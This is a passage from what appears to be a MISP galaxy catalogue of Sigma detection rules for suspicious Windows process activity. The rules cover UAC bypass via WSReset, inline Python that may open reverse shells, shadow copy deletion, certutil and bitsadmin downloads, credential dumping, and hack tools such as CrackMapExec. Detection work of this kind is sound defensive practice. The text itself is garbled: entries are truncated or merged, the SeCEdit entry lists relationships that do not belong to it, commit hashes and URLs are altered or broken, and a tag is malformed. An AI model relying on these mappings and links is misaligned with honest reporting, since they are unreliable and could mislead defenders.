<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_3proxy_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_3proxy_execution.yml</a></td>
</tr>
</tbody>
</table>

Bypass UAC via WSReset.exe

Detects use of WSReset.exe to bypass User Account Control (UAC). Adversaries use this technique to execute privileged processes.

The tag is: `misp-galaxy:sigma-rules="Bypass UAC via WSReset.exe"`

View relationships graph

Bypass UAC via WSReset.exe has relationships with:


Table 9613. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Wsreset/">https://lolbas-project.github.io/lolbas/Binaries/Wsreset/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ReaQta/status/1222548288731217921">https://twitter.com/ReaQta/status/1222548288731217921</a></td>
</tr>
<tr>
<td><a href="https://www.activecyber.us/activelabs/windows-uac-bypass">https://www.activecyber.us/activelabs/windows-uac-bypass</a></td>
</tr>
<tr>
<td><a href="https://eqllib.readthedocs.io/en/latest/analytics/532b5ed4-7930-11e9-8f5c-d46d6d62a49e.html">https://eqllib.readthedocs.io/en/latest/analytics/532b5ed4-7930-11e9-8f5c-d46d6d62a49e.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml</a></td>
</tr>
</tbody>
</table>
Python Inline Command Execution

Detects execution of python using the "-c" flag. This is could be used as a way to launch a reverse shell or execute live python code.

The tag is: `misp-galaxy:sigma-rules="Python Inline Command Execution"`

**View relationships graph**

Python Inline Command Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with estimative-language:likelihood-probability="almost-certain"

**Table 9614. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a></td>
</tr>
<tr>
<td><a href="https://docs.python.org/3/using/cmdline.html#cmdoption-c">https://docs.python.org/3/using/cmdline.html#cmdoption-c</a></td>
</tr>
<tr>
<td><a href="https://www.revshells.com/">https://www.revshells.com/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_inline_command_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_inline_command_execution.yml</a></td>
</tr>
</tbody>
</table>

Schtasks Creation Or Modification With SYSTEM Privileges

Detects the creation or update of a scheduled task to run with "NT AUTHORITY\SYSTEM" privileges

The tag is: `misp-galaxy:sigma-rules="Schtasks Creation Or Modification With SYSTEM Privileges"`

**View relationships graph**

Schtasks Creation Or Modification With SYSTEM Privileges has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"

**Table 9615. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern">https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_system.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_system.yml</a></td>
</tr>
</tbody>
</table>
### Suspicious Greedy Compression Using Rar.EXE

Detects RAR usage that creates an archive from a suspicious folder, either a system folder or one of the folders often used by attackers for staging purposes.

The tag is: `misp-galaxy:sigma-rules="Suspicious Greedy Compression Using Rar.EXE"`

View relationships graph

Suspicious Greedy Compression Using Rar.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

#### Table 9616. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decoded.avast.io/martinchlumecky/png-steganography">https://decoded.avast.io/martinchlumecky/png-steganography</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rar_susp_greedy_compression.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rar_susp_greedy_compression.yml</a></td>
</tr>
</tbody>
</table>

### HackTool - CrackMapExec Execution Patterns

Detects various execution patterns of the CrackMapExec pentesting framework.

The tag is: `misp-galaxy:sigma-rules="HackTool - CrackMapExec Execution Patterns"`

View relationships graph

HackTool - CrackMapExec Execution Patterns has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

#### Table 9617. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/byt3bl33d3r/CrackMapExec">https://github.com/byt3bl33d3r/CrackMapExec</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_crackmapexec_execution_patterns.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_crackmapexec_execution_patterns.yml</a></td>
</tr>
</tbody>
</table>
Suspicious Whoami.EXE Execution From Privileged Process

Detects the execution of "whoami.exe" by privileged accounts that are often abused by threat actors.

The tag is: misp-galaxy: sigma-rules="Suspicious Whoami.EXE Execution From Privileged Process"

View relationships graph

Suspicious Whoami.EXE Execution From Privileged Process has relationships with:


Table 9618. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment">https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment</a></td>
</tr>
<tr>
<td><a href="https://nsudo.m2team.org/en-us/">https://nsudo.m2team.org/en-us/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_execution_from_high_priv_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_execution_from_high_priv_process.yml</a></td>
</tr>
</tbody>
</table>

Nltest.EXE Execution

Detects nltest commands that can be used for information discovery.

The tag is: misp-galaxy: sigma-rules="Nltest.EXE Execution"

View relationships graph

Nltest.EXE Execution has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 9619. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://jpcertcc.github.io/ToolAnalysisResultSheet/details/nltest.htm">https://jpcertcc.github.io/ToolAnalysisResultSheet/details/nltest.htm</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nltest_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nltest_execution.yml</a></td>
</tr>
</tbody>
</table>
Shadow Copies Deletion Using Operating Systems Utilities

Shadow Copies deletion using operating systems utilities

The tag is: `misp-galaxy:sigma-rules="Shadow Copies Deletion Using Operating Systems Utilities"`

Table 9620. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/intelligence-insights-october-2021/">https://redcanary.com/blog/intelligence-insights-october-2021/</a></td>
</tr>
<tr>
<td><a href="https://github.com/Neo23x0/Raccine#the-process">https://github.com/Neo23x0/Raccine#the-process</a></td>
</tr>
<tr>
<td><a href="https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dc6/yara/gen_ransomware_command_lines.yar">https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dc6/yara/gen_ransomware_command_lines.yar</a></td>
</tr>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100">https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2017/05/wannacry.html">https://blog.talosintelligence.com/2017/05/wannacry.html</a></td>
</tr>
<tr>
<td><a href="https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment">https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shadow_copies_deletion.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shadow_copies_deletion.yml</a></td>
</tr>
</tbody>
</table>

Fsutil Drive Enumeration

Attackers may leverage fsutil to enumerated connected drives.

The tag is: `misp-galaxy:sigma-rules="Fsutil Drive Enumeration"`
Fsutil Drive Enumeration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

Table 9621. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Turla has used fsutil fsinfo drives to list connected drives.

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_drive">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_drive</a> Enumeration</td>
</tr>
</tbody>
</table>

SC.EXE Query Execution

Detects execution of "sc.exe" to query information about registered services on the system

The tag is: misp-galaxy: sigma-rules="SC.EXE Query Execution"

Table 9622. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdefcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test---system-service-discovery">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdefcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test---system-service-discovery</a></td>
</tr>
</tbody>
</table>

Lolbin Ssh.exe Use As Proxy

Detect usage of the "ssh.exe" binary as a proxy to launch other programs

The tag is: misp-galaxy: sigma-rules="Lolbin Ssh.exe Use As Proxy"
Potential Suspicious Activity Using SeCEdit

Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy.

The tag is: `misp-galaxy:sigma-rules="Potential Suspicious Activity Using SeCEdit"`

View relationships graph

Potential Suspicious Activity Using SeCEdit has relationships with:


- related-to: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with `estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="Terminal Services DLL - T1505.005"` with `estimative-language:likelihood-probability="almost-certain"


- related-to: `misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562"` with `estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007"` with `estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="Hidden Users - T1564.002"` with `estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008"` with `estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1546.007"` with `estimative-language:likelihood-probability="almost-certain"
• related-to: misp-galaxy:mitre-attack-pattern="Active Setup - T1547.014" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Port Monitors - T1547.010" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Authentication Package - T1547.002" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 9624. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d">https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d</a></td>
</tr>
<tr>
<td><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit">https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_secedit_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_secedit_execution.yml</a></td>
</tr>
</tbody>
</table>

Wab Execution From Non Default Location

Detects execution of wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) from non default locations as seen with bumblebee activity

The tag is: misp-galaxy:sigma-rules="Wab Execution From Non Default Location"

Table 9625. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2022/09/26/bumblebee-round-two/">https://thedfirreport.com/2022/09/26/bumblebee-round-two/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_execution_from_non_default_location.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_execution_from_non_default_location.yml</a></td>
</tr>
</tbody>
</table>

File Download Via Bitsadmin

Detects usage of bitsadmin downloading a file

The tag is: misp-galaxy:sigma-rules="File Download Via Bitsadmin"

View relationships graph

File Download Via Bitsadmin has relationships with:
- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 9626. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/">https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/22264">https://isc.sans.edu/diary/22264</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml</a></td>
</tr>
</tbody>
</table>

Potentially Suspicious Office Document Executed From Trusted Location

Detects the execution of an Office application that points to a document that is located in a trusted location. Attackers often used this to avoid macro security and execute their malicious code.

The tag is: misp-galaxy:sigma-rules="Potentially Suspicious Office Document Executed From Trusted Location"

View relationships graph

Potentially Suspicious Office Document Executed From Trusted Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 9627. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/_JohnHammond/status/1588155401752788994">https://twitter.com/_JohnHammond/status/1588155401752788994</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Max_Mal_/status/1633863678909874176">https://twitter.com/Max_Mal_/status/1633863678909874176</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_exec_from_trusted_locations.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_exec_from_trusted_locations.yml</a></td>
</tr>
</tbody>
</table>
**Potential Suspicious Registry File Imported Via Reg.EXE**

Detects the import of '.reg' files from suspicious paths using the 'reg.exe' utility

The tag is: `misp-galaxy:sigma-rules="Potential Suspicious Registry File Imported Via Reg.EXE"`

View relationships graph

Potential Suspicious Registry File Imported Via Reg.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

*Table 9628. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_import_from_suspicious_paths.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_import_from_suspicious_paths.yml</a></td>
</tr>
</tbody>
</table>

**Use of VSIISExeLauncher.exe**

The "VSIISExeLauncher.exe" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries

The tag is: `misp-galaxy:sigma-rules="Use of VSIISExeLauncher.exe"`

View relationships graph

Use of VSIISExeLauncher.exe has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127"` with estimative-language:likelihood-probability="almost-certain"

*Table 9629. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSIISExeLauncher/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSIISExeLauncher/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_vsiisexelauncher.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_vsiisexelauncher.yml</a></td>
</tr>
</tbody>
</table>

**Regedit as Trusted Installer**

Detects a regedit started with TrustedInstaller privileges or by ProcessHacker.exe

The tag is: `misp-galaxy:sigma-rules="Regedit as Trusted Installer"`
Regedit as Trusted Installer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

**Bad Opsec Defaults Sacrificial Processes With Improper Arguments**

Detects attackers using tooling with bad opsec defaults. E.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run. One trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.

The tag is: *misp-galaxy:sigma-rules="Bad Opsec Defaults Sacrificial Processes With Improper Arguments"*
Suspicious File Downloaded From Direct IP Via Certutil.EXE

Detects the execution of certutil with certain flags that allow the utility to download files from direct IPs.

The tag is: `misp-galaxy:sigma-rules="Suspicious File Downloaded From Direct IP Via Certutil.EXE"`

View relationships graph

Suspicious File Downloaded From Direct IP Via Certutil.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"

Table 9632. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/egre55/status/1087685529016193025">https://twitter.com/egre55/status/1087685529016193025</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/_JohnHammond/status/1708910264261980634">https://twitter.com/_JohnHammond/status/1708910264261980634</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Certutil/">https://lolbas-project.github.io/lolbas/Binaries/Certutil/</a></td>
</tr>
<tr>
<td><a href="https://forensicitguy.github.io/agenttesla-vba-certutil-download/">https://forensicitguy.github.io/agenttesla-vba-certutil-download/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_download_direct_ip.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_download_direct_ip.yml</a></td>
</tr>
</tbody>
</table>

Potential RDP Tunneling Via SSH

Execution of ssh.exe to perform data exfiltration and tunneling through RDP

The tag is: `misp-galaxy:sigma-rules="Potential RDP Tunneling Via SSH"`

View relationships graph

Potential RDP Tunneling Via SSH has relationships with:


Table 9633. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Arbitrary File Download Via IMEWDBLD.EXE

Detects usage of "IMEWDBLD.exe" to download arbitrary files

The tag is: `misp-galaxy:sigma-rules="Arbitrary File Download Via IMEWDBLD.EXE"`

View relationships graph

Arbitrary File Download Via IMEWDBLD.EXE has relationships with:

- `related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 9634. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows---powershell-download">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows---powershell-download</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/">https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_imewbld_download.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_imewbld_download.yml</a></td>
</tr>
</tbody>
</table>

REGISTER_APP.VBS Proxy Execution

Detects the use of a Microsoft signed script 'REGISTER_APP.VBS' to register a VSS/VDS Provider as a COM+ application.

The tag is: `misp-galaxy:sigma-rules="REGISTER_APP.VBS Proxy Execution"`

View relationships graph

REGISTER_APP.VBS Proxy Execution has relationships with:

- `related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 9635. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/sblmsrsn/status/1456613494783160325?s=20">https://twitter.com/sblmsrsn/status/1456613494783160325?s=20</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_register_app.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_register_app.yml</a></td>
</tr>
</tbody>
</table>
**Suspicious Service Binary Directory**

Detects a service binary running in a suspicious directory

The tag is: `misp-galaxy:sigma-rules="Suspicious Service Binary Directory"`

View relationships graph

Suspicious Service Binary Directory has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"` with estimative-language:likelihood-probability="almost-certain"

*Table 9636. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/">https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dir.yml">https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_service_dir.yml</a></td>
</tr>
</tbody>
</table>

**Modify Group Policy Settings**

Detects malicious GPO modifications can be used to implement many other malicious behaviors.

The tag is: `misp-galaxy:sigma-rules="Modify Group Policy Settings"`

View relationships graph

Modify Group Policy Settings has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001"` with estimative-language:likelihood-probability="almost-certain"

*Table 9637. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eaf83949805636735a1fd15/atomics/T1484.001/T1484.001.md">https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eaf83949805636735a1fd15/atomics/T1484.001/T1484.001.md</a></td>
</tr>
</tbody>
</table>

**Renamed Vmnat.exe Execution**

Detects renamed vmnat.exe or portable version that can be used for DLL side-loading

The tag is: `misp-galaxy:sigma-rules="Renamed Vmnat.exe Execution"`

View relationships graph
Renamed Vmnat.exe Execution has relationships with:


Table 9638. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malmoeb/status/1525901219247845376">https://twitter.com/malmoeb/status/1525901219247845376</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_vmnat.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_vmnat.yml</a></td>
</tr>
</tbody>
</table>

HackTool - LocalPotato Execution

Detects the execution of the LocalPotato POC based on basic PE metadata information and default CLI examples

The tag is: misp-galaxy:.sigma-rules="HackTool - LocalPotato Execution"

Table 9639. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.localpotato.com/localpotato_html/LocalPotato.html">https://www.localpotato.com/localpotato_html/LocalPotato.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/decoder-it/LocalPotato">https://github.com/decoder-it/LocalPotato</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_localpotato.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_localpotato.yml</a></td>
</tr>
</tbody>
</table>

HackTool - Impersonate Execution

Detects execution of the Impersonate tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively

The tag is: misp-galaxy: sigma-rules="HackTool - Impersonate Execution"

View relationships graph

HackTool - Impersonate Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003" with estimative-language:likelihood-probability="almost-certain"

Table 9640. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/">https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/</a></td>
</tr>
</tbody>
</table>

6158
Arbitrary File Download Via PresentationHost.EXE

Detects usage of "PresentationHost" which is a utility that runs ".xbap" (Browser Applications) files to download arbitrary files

The tag is: *misp-galaxy:sigma-rules="Arbitrary File Download Via PresentationHost.EXE"*

View relationships graph

Arbitrary File Download Via PresentationHost.EXE has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"* with estimative-language:likelihood-probability="almost-certain"

Table 9641. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/LOLBAS-Project/LOLBAS/pull/239/files">https://github.com/LOLBAS-Project/LOLBAS/pull/239/files</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_presentationhost_download.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_presentationhost_download.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Processes Spawned by Java.EXE

Detects suspicious processes spawned from a Java host process which could indicate a sign of exploitation (e.g. log4j)

The tag is: *misp-galaxy:sigma-rules="Suspicious Processes Spawned by Java.EXE"*

Table 9642. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_susp_child_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_susp_child_process.yml</a></td>
</tr>
</tbody>
</table>

Potential Credential Dumping Attempt Using New NetworkProvider - CLI

Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it

The tag is: *misp-galaxy:sigma-rules="Potential Credential Dumping Attempt Using New NetworkProvider - CLI"*
Use of Pcalua For Execution

Detects execution of commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This can be used as a LOLBIN in order to bypass application whitelisting.

The tag is: *misp-galaxy:sigma-rules*="Use of Pcalua For Execution"

Install New Package Via Winget Local Manifest

